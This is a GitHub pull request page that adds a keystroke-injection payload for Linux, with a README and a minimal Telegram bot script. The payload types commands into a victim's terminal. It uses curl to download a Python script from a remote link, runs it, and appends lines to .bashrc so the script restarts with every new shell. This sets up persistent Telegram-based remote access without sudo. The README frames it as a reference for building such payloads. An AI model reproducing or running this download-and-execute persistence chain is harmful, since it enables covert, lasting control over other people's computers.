Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Telegram Persistent Connection Linux #652

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
# Telegram Persistent Connection

A script used to configure a persistent connection on a Linux computer trough a pre-configured Telegram Bot.

**Category**: Execution

## Description

A script used to configure a persistent connesction on a Linux computer trough a pre-configured Telegram Bot.

Opens a shell, download the python script trough the `curl` command outputing the file into a `connection.py` file using `-o` option, then run it and set the run of the program as a default command every times a shell is runned.

This payload is intended as a basic reference point for developing payloads on a persistent connection Telegram based.

## Getting Started

### Dependencies

* Internet Connection

### Settings

- **Telegram Bot**: You should configure a bot trough Telegram. If you don't know how to do this, follow the guide about [Telegram Bot guide](#telegram-bot-guide). When you have create your personal Telegram Bot you should get the Telegram bot ID that you must put into the variable BOT_TOKEN at line 4 in the Python file as you can read in the line 3 comment.
- **Python Script**: Download, edit as you want and upload the python script somewhere you want and put the file link into the file payload.txt replacing the example link.
- **Persistence**: I preferred to create a mechanism that would allow you to create *some* persistence, not quite total, but you can have a high level of persistence. In this specific case, no permissions are needed, because it is sufficient to insert some lines in the .bashrc file that allow to keep the connection to Telegram open from the first time the user opens the terminal. Most of other mechanism needs the sudo permissions.

### Telegram Bot Guide

1. Search for `@botfather` in Telegram.
2. Start a conversation with BotFather by clicking on the Start button.
3. Type /newbot, and follow the prompts to set up a new bot.
4. Select and copy the Bot Token that you can see after the registration and past it into the `BOT_TOKEN` python variable that you find in the `connection.py` file at line 3.

## Credits

<h2 align="center"> Aleff</h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
from telebot import TeleBot

# Set here the Telegram bot token
BOT_TOKEN = ""
bot = TeleBot(BOT_TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Ok it works")

bot.infinity_polling()
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
* REM #######################################################
* REM # |
* REM # Title : Telegram Persistent Connection Linux |
* REM # Author : Aleff |
* REM # Version : 1.0 |
* REM # Category : Execution |
* REM # Target : Linux |
* REM # |
* REM #######################################################

ATTACKMODE HID

* REM Requirements:
* REM - Internet Connection

QUACK REM VARIABLES
* REM Here you must put your own file link.
PYTHON-SCRIPT-LINK='https://www.example.com/connection.py'

QUACK DELAY 1000
QUACK CTRL-ALT t
QUACK DELAY 2000
QUACK STRING curl -o connection.py $PYTHON-SCRIPT-LINK; python3 connection.py; echo \"if ! pgrep -f connection.py >/dev/null; then
QUACK ENTER
QUACK STRING python3 connection.py &
QUACK ENTER
QUACK STRING fi\" >> .bashrc; exit
QUACK ENTER